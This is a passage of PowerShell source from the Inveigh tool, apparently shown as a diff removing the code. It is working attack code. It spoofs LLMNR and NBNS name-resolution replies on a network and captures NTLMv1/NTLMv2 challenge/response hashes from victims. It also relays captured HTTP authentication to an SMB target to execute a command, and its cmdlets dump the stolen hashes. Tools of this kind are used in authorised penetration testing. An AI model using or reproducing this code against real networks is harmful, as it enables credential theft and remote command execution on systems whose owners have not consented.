$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string captured from " + $inveigh.request.RemoteEndpoint.address + "(" + $HTTP_NTLM_host_string + ")")]) - $inveigh.NTLMv2_file_queue.add($inveigh.HTTP_NTLM_hash) - $inveigh.NTLMv2_list.add($inveigh.HTTP_NTLM_hash) - $inveigh.console_queue.add($(Get-Date -format 's') + " - $HTTP_type NTLMv2 challenge/response captured from " + $inveigh.request.RemoteEndpoint.address + "(" + $HTTP_NTLM_host_string + "):`n" + $inveigh.HTTP_NTLM_hash) - - if($inveigh.file_output) - { - $inveigh.console_queue.add("$HTTP_type NTLMv2 challenge/response written to " + $inveigh.NTLMv2_out_file) - } - - } - - if (($inveigh.IP_capture_list -notcontains $inveigh.request.RemoteEndpoint.Address) -and (-not $HTTP_NTLM_user_string.EndsWith('$')) -and ($Repeat -eq 'n')) - { - $inveigh.IP_capture_list += $inveigh.request.RemoteEndpoint.Address - } - } - - $inveigh.response.StatusCode = 200 - $NTLM_challenge = '' - - if (($inveigh.SMB_relay) -and ($inveigh.SMB_relay_active_step -eq 3)) - { - if((!$SMBRelayUsernames) -or ($SMBRelayUsernames -contains $HTTP_NTLM_user_string) -or ($SMBRelayUsernames -contains "$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string")) - { - if(($MachineAccounts -eq 'y') -or (($MachineAccounts -eq 'n') -and (-not $HTTP_NTLM_user_string.EndsWith('$')))) - { - if($inveigh.SMBRelay_failed_list -notcontains "$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string $SMBRelayTarget") - { - if($NTLM_type -eq 'NTLMv2') - { - $inveigh.console_queue.add("Sending $NTLM_type response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string for relay to $SMBRelaytarget") - $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Sending $NTLM_type response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string for relay to $SMBRelaytarget")]) - $SMB_relay_response_return_bytes = SMBRelayResponse $SMB_relay_socket $HTTP_request_bytes $SMB_user_ID - $SMB_relay_response_return_bytes = $SMB_relay_response_return_bytes[1..$SMB_relay_response_return_bytes.length] - - if((!$SMB_relay_failed) -and ([System.BitConverter]::ToString($SMB_relay_response_return_bytes[9..12]) -eq ('00-00-00-00'))) - { - $inveigh.console_queue.add("$HTTP_type to SMB relay authentication successful for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string on $SMBRelayTarget") - $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - $HTTP_type to SMB relay authentication successful for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string on $SMBRelayTarget")]) - $inveigh.SMB_relay_active_step = 4 - SMBRelayExecute $SMB_relay_socket $SMB_user_ID - } - else - { - $inveigh.console_queue.add("$HTTP_type to SMB relay authentication failed for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string on $SMBRelayTarget") - $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - $HTTP_type to SMB relay authentication failed for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string on $SMBRelayTarget")]) - $inveigh.SMBRelay_failed_list += "$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string $SMBRelayTarget" - $inveigh.SMB_relay_active_step = 0 - $SMB_relay_socket.Close() - } - } - else - { - $inveigh.console_queue.add("NTLMv1 relay not yet supported") - $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - NTLMv1 relay not yet supported")]) - $inveigh.SMB_relay_active_step = 0 - $SMB_relay_socket.Close() - } - } - else - { - $inveigh.console_queue.add("Aborting relay since $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string has already been tried on $SMBRelayTarget") - $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Aborting relay since $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string has already been tried on $SMBRelayTarget")]) - $inveigh.SMB_relay_active_step = 0 - $SMB_relay_socket.Close() - } - } - else - { - $inveigh.console_queue.add("Aborting relay since $HTTP_NTLM_user_string appears to be a machine account") - $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Aborting relay since $HTTP_NTLM_user_string appears to be a machine account")]) - $inveigh.SMB_relay_active_step = 0 - $SMB_relay_socket.Close() - } - } - else - { - $inveigh.console_queue.add("$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string not on relay username list") - $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string not on relay username list")]) - $inveigh.SMB_relay_active_step = 0 - $SMB_relay_socket.Close() - } - } - } - else - { - $NTLM = 'NTLM' - } - - } - - [byte[]] $HTTP_buffer = [System.Text.Encoding]::UTF8.GetBytes($inveigh.message) - $inveigh.response.ContentLength64 = $HTTP_buffer.length - $inveigh.response.AddHeader("WWW-Authenticate",$NTLM) - $HTTP_stream = $inveigh.response.OutputStream - $HTTP_stream.write($HTTP_buffer, 0, $HTTP_buffer.length) - $HTTP_stream.close() - } - $inveigh.HTTP_listener.stop() - $inveigh.HTTP_listener.close() -} - -# Sniffer/Spoofer ScriptBlock - LLMNR/NBNS Spoofer and SMB sniffer -$sniffer_scriptblock = -{ - param ($LLMNR_response_message,$NBNS_response_message,$IP,$SpooferIP,$SMB,$LLMNR,$NBNS,$NBNSTypes,$Repeat,$MachineAccounts,$ForceWPADAuth,$RunTime) - - $byte_in = New-Object Byte[] 4 - $byte_out = New-Object Byte[] 4 - $byte_data = New-Object Byte[] 4096 - $byte_in[0] = 1 - $byte_in[1-3] = 0 - $byte_out[0] = 1 - $byte_out[1-3] = 0 - $inveigh.sniffer_socket = New-Object System.Net.Sockets.Socket([Net.Sockets.AddressFamily]::InterNetwork,[Net.Sockets.SocketType]::Raw,[Net.Sockets.ProtocolType]::IP) - $inveigh.sniffer_socket.SetSocketOption("IP","HeaderIncluded",$true) - $inveigh.sniffer_socket.ReceiveBufferSize = 1024 - $end_point = New-Object System.Net.IPEndpoint([Net.IPAddress]"$IP", 0) - $inveigh.sniffer_socket.Bind($end_point) - [void]$inveigh.sniffer_socket.IOControl([Net.Sockets.IOControlCode]::ReceiveAll,$byte_in,$byte_out) - - if($RunTime) - { - $sniffer_timeout = new-timespan -Minutes $RunTime - $sniffer_stopwatch = [diagnostics.stopwatch]::StartNew() - } - - while($inveigh.running) - { - try - { - $packet_data = $inveigh.sniffer_socket.Receive($byte_data,0,$byte_data.length,[Net.Sockets.SocketFlags]::None) - } - catch - {} - - $memory_stream = New-Object System.IO.MemoryStream($byte_data,0,$packet_data) - $binary_reader = New-Object System.IO.BinaryReader($memory_stream) - - # IP header fields - $version_HL = $binary_reader.ReadByte() - $type_of_service= $binary_reader.ReadByte() - $total_length = DataToUInt16 $binary_reader.ReadBytes(2) - $identification = $binary_reader.ReadBytes(2) - $flags_offset = $binary_reader.ReadBytes(2) - $TTL = $binary_reader.ReadByte() - $protocol_number = $binary_reader.ReadByte() - $header_checksum = [Net.IPAddress]::NetworkToHostOrder($binary_reader.ReadInt16()) - $source_IP_bytes = $binary_reader.ReadBytes(4) - $source_IP = [System.Net.IPAddress]$source_IP_bytes - $destination_IP_bytes = $binary_reader.ReadBytes(4) - $destination_IP = [System.Net.IPAddress]$destination_IP_bytes - $IP_version = [int]"0x$(('{0:X}' -f $version_HL)[0])" - $header_length = [int]"0x$(('{0:X}' -f $version_HL)[1])" * 4 - - switch($protocol_number) - { - 6 { # TCP - $source_port = DataToUInt16 $binary_reader.ReadBytes(2) - $destination_port = DataToUInt16 $binary_reader.ReadBytes(2) - $sequence_number = DataToUInt32 $binary_reader.ReadBytes(4) - $ack_number = DataToUInt32 $binary_reader.ReadBytes(4) - $TCP_header_length = [int]"0x$(('{0:X}' -f $binary_reader.ReadByte())[0])" * 4 - $TCP_flags = $binary_reader.ReadByte() - $TCP_window = DataToUInt16 $binary_reader.ReadBytes(2) - $TCP_checksum = [System.Net.IPAddress]::NetworkToHostOrder($binary_reader.ReadInt16()) - $TCP_urgent_pointer = DataToUInt16 $binary_reader.ReadBytes(2) - $payload_bytes = $binary_reader.ReadBytes($total_length - ($header_length + $TCP_header_length)) - } - 17 { # UDP - $source_port = $binary_reader.ReadBytes(2) - $source_port_2 = DataToUInt16 ($source_port) - $destination_port = DataToUInt16 $binary_reader.ReadBytes(2) - $UDP_length = $binary_reader.ReadBytes(2) - $UDP_length_2 = DataToUInt16 ($UDP_length) - [void]$binary_reader.ReadBytes(2) - $payload_bytes = $binary_reader.ReadBytes(($UDP_length_2 - 2) * 4) - } - } - - # Incoming packets - switch ($destination_port) - { - 137 { # NBNS - if($payload_bytes[5] -eq 1) - { - try - { - $UDP_length[0] += 16 - - [Byte[]] $NBNS_response_data = $payload_bytes[13..$payload_bytes.length]` - + (0x00,0x00,0x00,0xa5,0x00,0x06,0x00,0x00)` - + ([IPAddress][String]([IPAddress]$SpooferIP)).GetAddressBytes()` - + (0x00,0x00,0x00,0x00) - - [Byte[]] $NBNS_response_packet = (0x00,0x89)` - + $source_port[1,0]` - + $UDP_length[1,0]` - + (0x00,0x00)` - + $payload_bytes[0,1]` - + (0x85,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x20)` - + $NBNS_response_data - - $send_socket = New-Object Net.Sockets.Socket( [Net.Sockets.AddressFamily]::InterNetwork,[Net.Sockets.SocketType]::Raw,[Net.Sockets.ProtocolType]::Udp ) - $send_socket.SendBufferSize = 1024 - $destination_point = New-Object Net.IPEndpoint( $source_IP, $source_port_2 ) - - $NBNS_query_type = [System.BitConverter]::ToString($payload_bytes[43..44]) - - switch ($NBNS_query_type) - { - '41-41' { - $NBNS_query_type = '00' - } - '41-44' { - $NBNS_query_type = '03' - } - '43-41' { - $NBNS_query_type = '20' - } - '42-4C' { - $NBNS_query_type = '1B' - } - '42-4D' { - $NBNS_query_type = '1C' - } - '42-4E' { - $NBNS_query_type = '1D' - } - '42-4F' { - $NBNS_query_type = '1E' - } - } - - if($NBNS -eq 'y') - { - if ($NBNSTypes -contains $NBNS_query_type) - { - if ($inveigh.IP_capture_list -notcontains $source_IP) - { - [void]$send_socket.sendTo( $NBNS_response_packet, $destination_point ) - $send_socket.Close( ) - $NBNS_response_message = "- spoofed response has been sent" - } - else - { - $NBNS_response_message = "- spoof suppressed due to previous capture" - } - } - else - { - $NBNS_response_message = "- spoof not sent due to disabled type" - } - } - - $NBNS_query = [System.BitConverter]::ToString($payload_bytes[13..$payload_bytes.length]) - $NBNS_query = $NBNS_query -replace "-00","" - $NBNS_query = $NBNS_query.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} - $NBNS_query_string_encoded = New-Object System.String ($NBNS_query,0,$NBNS_query.Length) - $NBNS_query_string_encoded = $NBNS_query_string_encoded.Substring(0,$NBNS_query_string_encoded.IndexOf("CA")) - - $NBNS_query_string_subtracted = "" - $NBNS_query_string = "" - - $n = 0 - - do - { - $NBNS_query_string_sub = (([byte][char]($NBNS_query_string_encoded.Substring($n,1)))-65) - $NBNS_query_string_subtracted += ([convert]::ToString($NBNS_query_string_sub,16)) - $n += 1 - } - until($n -gt ($NBNS_query_string_encoded.Length - 1)) - - $n = 0 - - do - { - $NBNS_query_string += ([char]([convert]::toint16($NBNS_query_string_subtracted.Substring($n,2),16))) - $n += 2 - } - until($n -gt ($NBNS_query_string_subtracted.Length - 1)) - - $inveigh.console_queue.add("$(Get-Date -format 's') - NBNS request for $NBNS_query_string<$NBNS_query_type> received from $source_IP $NBNS_response_message") - $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - NBNS request for $NBNS_query_string<$NBNS_query_type> received from $source_IP $NBNS_response_message")]) - - } - catch{} - } - } - 139 - { - if($SMB -eq 'y') - { - SMBNTLMResponse $payload_bytes - } - } - 445 { # SMB - if($SMB -eq 'y') - { - SMBNTLMResponse $payload_bytes - } - } - 5355 { # LLMNR - $UDP_length[0] += $payload_bytes.length - 2 - - [Byte[]] $LLMNR_response_data = $payload_bytes[12..$payload_bytes.length] - $LLMNR_response_data += $LLMNR_response_data` - + (0x00,0x00,0x00,0x1e,0x00,0x04)` - + ([IPAddress][String]([IPAddress]$SpooferIP)).GetAddressBytes() - - [Byte[]] $LLMNR_response_packet = (0x14,0xeb)` - + $source_port[1,0]` - + $UDP_length[1,0]` - + (0x00,0x00)` - + $payload_bytes[0,1]` - + (0x80,0x00,0x00,0x01,0x00,0x01,0x00,0x00,0x00,0x00)` - + $LLMNR_response_data - - $send_socket = New-Object Net.Sockets.Socket( [Net.Sockets.AddressFamily]::InterNetwork,[Net.Sockets.SocketType]::Raw,[Net.Sockets.ProtocolType]::Udp ) - $send_socket.SendBufferSize = 1024 - $destination_point = New-Object Net.IPEndpoint( $source_IP, $source_port_2 ) - - if($LLMNR -eq 'y') - { - if ($inveigh.IP_capture_list -notcontains $source_IP) - { - [void]$send_socket.sendTo( $LLMNR_response_packet, $destination_point ) - $send_socket.Close( ) - $LLMNR_response_message = "- spoofed response has been sent" - } - else - { - $LLMNR_response_message = "- spoof suppressed due to previous capture" - } - } - - $LLMNR_query = [System.BitConverter]::ToString($payload_bytes[13..($payload_bytes.length - 4)]) - $LLMNR_query = $LLMNR_query -replace "-00","" - $LLMNR_query = $LLMNR_query.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} - $LLMNR_query_string = New-Object System.String ($LLMNR_query,0,$LLMNR_query.Length) - - $inveigh.console_queue.add("$(Get-Date -format 's') - LLMNR request for $LLMNR_query_string received from $source_IP $LLMNR_response_message") - $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - LLMNR request for $LLMNR_query_string received from $source_IP $LLMNR_response_message")]) - } - } - - # Outgoing packets - switch ($source_port) - { - 139 { - if($SMB -eq 'y') - { - $NTLM_challenge = SMBNTLMChallenge $payload_bytes - } - } - 445 { # SMB - if($SMB -eq 'y') - { - $NTLM_challenge = SMBNTLMChallenge $payload_bytes - } - } - } - - if($RunTime) - { - if($sniffer_stopwatch.elapsed -ge $sniffer_timeout) - { - - if($inveigh.HTTP_listener.IsListening) - { - $inveigh.HTTP_listener.Stop() - $inveigh.HTTP_listener.Close() - } - - $inveigh.console_queue.add("Inveigh auto-exited at $(Get-Date -format 's')") - $inveigh.log.add("$(Get-Date -format 's') - Inveigh auto-exited") - - if($inveigh.file_output) - { - "$(Get-Date -format 's') - Inveigh auto-exited"| Out-File $Inveigh.log_out_file -Append - } - - if($inveigh.HTTPS) - { - Invoke-Expression -command "netsh http delete sslcert ipport=0.0.0.0:443" > $null - - try - { - $certificate_store = New-Object System.Security.Cryptography.X509Certificates.X509Store("My","LocalMachine") - $certificate_store.Open('ReadWrite') - $certificate = $certificate_store.certificates.find("FindByThumbprint",$inveigh.certificate_thumbprint,$FALSE)[0] - $certificate_store.Remove($certificate) - $certificate_store.Close() - } - catch - { - if($inveigh.status_output) - { - $inveigh.console_queue.add("SSL Certificate Deletion Error - Remove Manually") - } - - $inveigh.log.add("$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually") - - if($inveigh.file_output) - { - "$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually"| Out-File $Inveigh.log_out_file -Append - } - } - } - - $inveigh.running = $false - - } - } - - if($inveigh.file_output) - { - while($inveigh.log_file_queue.Count -gt 0) - { - $inveigh.log_file_queue[0]|Out-File $inveigh.log_out_file -Append - $inveigh.log_file_queue.RemoveRange(0,1) - } - - while($inveigh.NTLMv1_file_queue.Count -gt 0) - { - $inveigh.NTLMv1_file_queue[0]|Out-File $inveigh.NTLMv1_out_file -Append - $inveigh.NTLMv1_file_queue.RemoveRange(0,1) - } - - while($inveigh.NTLMv2_file_queue.Count -gt 0) - { - $inveigh.NTLMv2_file_queue[0]|Out-File $inveigh.NTLMv2_out_file -Append - $inveigh.NTLMv2_file_queue.RemoveRange(0,1) - } - } - } -} - -# End ScriptBlocks -# Begin Startup Functions - -# HTTP/HTTPS Listener Startup Function -Function HTTPListener() -{ - $inveigh.HTTP_listener = New-Object System.Net.HttpListener - - if($inveigh.HTTP) - { - $inveigh.HTTP_listener.Prefixes.Add('http://*:80/') - } - - if($inveigh.HTTPS) - { - $inveigh.HTTP_listener.Prefixes.Add('https://*:443/') - } - - $inveigh.HTTP_listener.AuthenticationSchemes = "Anonymous" - $inveigh.HTTP_listener.Start() - $HTTP_runspace = [runspacefactory]::CreateRunspace() - $HTTP_runspace.Open() - $HTTP_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) - $HTTP_powershell = [powershell]::Create() - $HTTP_powershell.Runspace = $HTTP_runspace - $HTTP_powershell.AddScript($shared_basic_functions_scriptblock) > $null - $HTTP_powershell.AddScript($SMB_relay_challenge_scriptblock) > $null - $HTTP_powershell.AddScript($SMB_relay_response_scriptblock) > $null - $HTTP_powershell.AddScript($SMB_relay_execute_scriptblock) > $null - $HTTP_powershell.AddScript($SMB_NTLM_functions_scriptblock) > $null - $HTTP_powershell.AddScript($HTTP_scriptblock).AddArgument($Challenge).AddArgument( - $SMBRelay).AddArgument($SMBRelayTarget).AddArgument($SMBRelayCommand).AddArgument($SMBRelayUsernames).AddArgument( - $SMBRelayAutoDisable).AddArgument($SMBRelayNetworkTimeout).AddArgument($Repeat).AddArgument( - $MachineAccounts).AddArgument($ForceWPADAuth) > $null - $HTTP_handle = $HTTP_powershell.BeginInvoke() -} - -# Sniffer/Spoofer Startup Function -Function SnifferSpoofer() -{ - $sniffer_runspace = [runspacefactory]::CreateRunspace() - $sniffer_runspace.Open() - $sniffer_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) - $sniffer_powershell = [powershell]::Create() - $sniffer_powershell.Runspace = $sniffer_runspace - $sniffer_powershell.AddScript($shared_basic_functions_scriptblock) > $null - $sniffer_powershell.AddScript($SMB_NTLM_functions_scriptblock) > $null - $sniffer_powershell.AddScript($sniffer_scriptblock).AddArgument($LLMNR_response_message).AddArgument( - $NBNS_response_message).AddArgument($IP).AddArgument($SpooferIP).AddArgument($SMB).AddArgument( - $LLMNR).AddArgument($NBNS).AddArgument($NBNSTypes).AddArgument($Repeat).AddArgument( - $MachineAccounts).AddArgument($ForceWPADAuth).AddArgument($RunTime) > $null - $sniffer_handle = $sniffer_powershell.BeginInvoke() -} - -# End Startup Functions - -# Startup Enabled Services - -# HTTP Server Start -if(($inveigh.HTTP) -or ($inveigh.HTTPS)) -{ - HTTPListener -} - -# Sniffer/Spoofer Start - always enabled -SnifferSpoofer - -if($inveigh.console_output) -{ - - :console_loop while(($inveigh.running) -and ($inveigh.console_output)) - { - while($inveigh.console_queue.Count -gt 0) - { - if($inveigh.output_stream_only) - { - write-output($inveigh.console_queue[0] + $inveigh.newline) - $inveigh.console_queue.RemoveRange(0,1) - } - else - { - switch -wildcard ($inveigh.console_queue[0]) - { - "*local administrator*" - { - write-warning $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) - } - "*NTLMv1 challenge/response written*" - { - if($inveigh.file_output) - { - write-warning $inveigh.console_queue[0] - } - $inveigh.console_queue.RemoveRange(0,1) - } - "*NTLMv2 challenge/response written*" - { - if($inveigh.file_output) - { - write-warning $inveigh.console_queue[0] - } - $inveigh.console_queue.RemoveRange(0,1) - } - "* relay *" - { - write-warning $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) - } - "Service *" - { - write-warning $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) - } - default - { - write-output $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) - } - } - } - } - - if($inveigh.console_input) - { - if([console]::KeyAvailable) - { - $inveigh.console_output = $false - BREAK console_loop - } - } - - Start-Sleep -m 5 - } -} - -} -#End Invoke-Inveigh - -Function Stop-Inveigh -{ - <# - .SYNOPSIS - Stop-Inveigh will stop Inveigh. - #> - if($inveigh) - { - if($inveigh.running) - { - $inveigh.running = $false - - if($inveigh.HTTP_listener.IsListening) - { - $inveigh.HTTP_listener.Stop() - $inveigh.HTTP_listener.Close() - } - - $inveigh.status_queue.add("Inveigh exited at $(Get-Date -format 's')")|Out-Null - $inveigh.log.add("$(Get-Date -format 's') - Inveigh exited")|Out-Null - - if($inveigh.file_output) - { - "$(Get-Date -format 's') - Inveigh exited"| Out-File $Inveigh.log_out_file -Append - } - } - else - { - $inveigh.status_queue.add("Inveigh isn't running") | Out-Null - } - - if($inveigh.HTTPS) - { - Invoke-Expression -command "netsh http delete sslcert ipport=0.0.0.0:443" > $null - - try - { - $certificate_store = New-Object System.Security.Cryptography.X509Certificates.X509Store("My","LocalMachine") - $certificate_store.Open('ReadWrite') - $certificate = $certificate_store.certificates.find("FindByThumbprint",$inveigh.certificate_thumbprint,$FALSE)[0] - $certificate_store.Remove($certificate) - $certificate_store.Close() - } - catch - { - $inveigh.status_queue.add("SSL Certificate Deletion Error - Remove Manually")|Out-Null - $inveigh.log.add("$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually")|Out-Null - - if($inveigh.file_output) - { - "$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually"|Out-File $Inveigh.log_out_file -Append - } - } - } - } - else - { - $inveigh.status_queue.add("Inveigh isn't running")|Out-Null - } - - while($inveigh.status_queue.Count -gt 0) - { - if($inveigh.output_stream_only) - { - write-output($inveigh.status_queue[0] + $inveigh.newline) - $inveigh.status_queue.RemoveRange(0,1) - } - else - { - switch -wildcard ($inveigh.status_queue[0]) - { - "Inveigh exited at *" - { - write-warning $inveigh.status_queue[0] - $inveigh.status_queue.RemoveRange(0,1) - } - "SSL Certificate Deletion Error - Remove Manually" - { - write-warning $inveigh.status_queue[0] - $inveigh.status_queue.RemoveRange(0,1) - } - default - { - write-output $inveigh.status_queue[0] - $inveigh.status_queue.RemoveRange(0,1) - } - } - } - } -} - -Function Get-Inveigh -{ - <# - .SYNOPSIS - Get-Inveigh will display queued Inveigh output. - #> - while($inveigh.console_queue.Count -gt 0) - { - if($inveigh.output_stream_only) - { - write-output($inveigh.console_queue[0] + $inveigh.newline) - $inveigh.console_queue.RemoveRange(0,1) - } - else - { - switch -wildcard ($inveigh.console_queue[0]) - { - "*local administrator*" - { - write-warning $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) - } - "*NTLMv1 challenge/response written*" - { - if($inveigh.file_output) - { - write-warning $inveigh.console_queue[0] - } - $inveigh.console_queue.RemoveRange(0,1) - } - "*NTLMv2 challenge/response written*" - { - if($inveigh.file_output) - { - write-warning $inveigh.console_queue[0] - } - $inveigh.console_queue.RemoveRange(0,1) - } - "* relay *" - { - write-warning $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) - } - "Service *" - { - write-warning $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) - } - default - { - write-output $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) - } - } - } - } -} - -Function Get-InveighNTLM -{ - <# - .SYNOPSIS - Get-InveighNTLM will get all captured challenge/response hashes. - #> - $inveigh.NTLMv1_list - $inveigh.NTLMv2_list -} - -Function Get-InveighNTLMv1 -{ - <# - .SYNOPSIS - Get-InveighNTLMv1 will get captured NTLMv1 challenge/response hashes. - #> - $inveigh.NTLMv1_list -} - -Function Get-InveighNTLMv2 -{ - <# - .SYNOPSIS - Get-InveighNTLMv2 will get captured NTLMv1 challenge/response hashes. - #> - $inveigh.NTLMv2_list -} - -Function Get-InveighLog -{ - <# - .SYNOPSIS - Get-InveighLog will get log. - #> - $inveigh.log -} - -Function Get-InveighStats -{ - <# - .SYNOPSIS - Get-InveighLog will get log. - #> - Write-Output("Total NTLMv1 Captures = " + $inveigh.NTLMv1_list.count) - Write-Output("Total NTLMv2 Captures = " + $inveigh.NTLMv2_list.count) -} - -Function Watch-Inveigh -{ - <# - .SYNOPSIS - Watch-Inveigh will enabled real time console output. If using this cmdlet through a shell, test to ensure that it doesn't hang the shell. - #> - if($inveigh.tool -ne 1) - { - if($inveigh.running) - { - Write-Output "Press any key to stop real time console output" - $inveigh.console_output = $true - - :console_loop while(($inveigh.running) -and ($inveigh.console_output)) - { - while($inveigh.console_queue.Count -gt 0) - { - if($inveigh.output_stream_only) - { - write-output($inveigh.console_queue[0] + $inveigh.newline) - $inveigh.console_queue.RemoveRange(0,1) - } - else - { - switch -wildcard ($inveigh.console_queue[0]) - { - "*local administrator*" - { - write-warning $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) - } - "*NTLMv1 challenge/response written*" - { - if($inveigh.file_output) - { - write-warning $inveigh.console_queue[0] - } - $inveigh.console_queue.RemoveRange(0,1) - } - "*NTLMv2 challenge/response written*" - { - if($inveigh.file_output) - { - write-warning $inveigh.console_queue[0] - } - $inveigh.console_queue.RemoveRange(0,1) - } - "* relay *" - { - write-warning $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) - } - "Service *" - { - write-warning $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) - } - default - { - write-output $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) - } - } - } - } - - if([console]::KeyAvailable) - { - $inveigh.console_output = $false - BREAK console_loop - } - - Start-Sleep -m 5 - } - } - else - { - Write-Output "Inveigh isn't running" - } - } - else - { - Write-Output "Watch-Inveigh cannot be used with current external tool selection" - } - -} - -Function Clear-Inveigh -{ - <# - .SYNOPSIS - Clear-Inveigh will clear Inveigh's NTLMv1, NTLMv2, log, output, failed smbrelay, and spoof repeat suppression lists. - #> - if($inveigh) - { - $inveigh.console_queue = New-Object System.Collections.ArrayList - $inveigh.log_list = New-Object System.Collections.ArrayList - $inveigh.NTLMv1_list = New-Object System.Collections.ArrayList - $inveigh.NTLMv2_list = New-Object System.Collections.ArrayList - $inveigh.log_file_queue = New-Object System.Collections.ArrayList - $inveigh.NTLMv1_file_queue = New-Object System.Collections.ArrayList - $inveigh.NTLMv2_file_queue = New-Object System.Collections.ArrayList - $inveigh.IP_capture_list = @() - $inveigh.SMBRelay_failed_list = @() - } -} - -Function Get-InveighHelp -{ - <# - .SYNOPSIS - Get-InveighHelp will cmdlet list. - #> - "-"*26 + "(Get-InveighHelp)" + "-"*26 | Write-Output - write-output "Invoke-Inveigh - Start Inveigh with or without parameters" - write-output "Get-Inveigh - Get queued console output" - write-output "Get-InveighLog - Get log entries" - write-output "Get-InveighNTLM - Get all captured challenge/response hashes" - write-output "Get-InveighNTLMv1 - Get captured NTLMv1 challenge/response hashes" - write-output "Get-InveighNTLMv2 - Get captured NTLMv2 challenge/response hashes" - write-output "Get-InveighStats - Get captured challenge/response counts" - write-output "Watch-Inveigh - Enable real time console output" - write-output "Clear-Inveigh - Clear capture, log, smbrelay, and spoof lists" - write-output "Stop-Inveigh - Stop Inveigh" - "-"*69 | Write-Output -}
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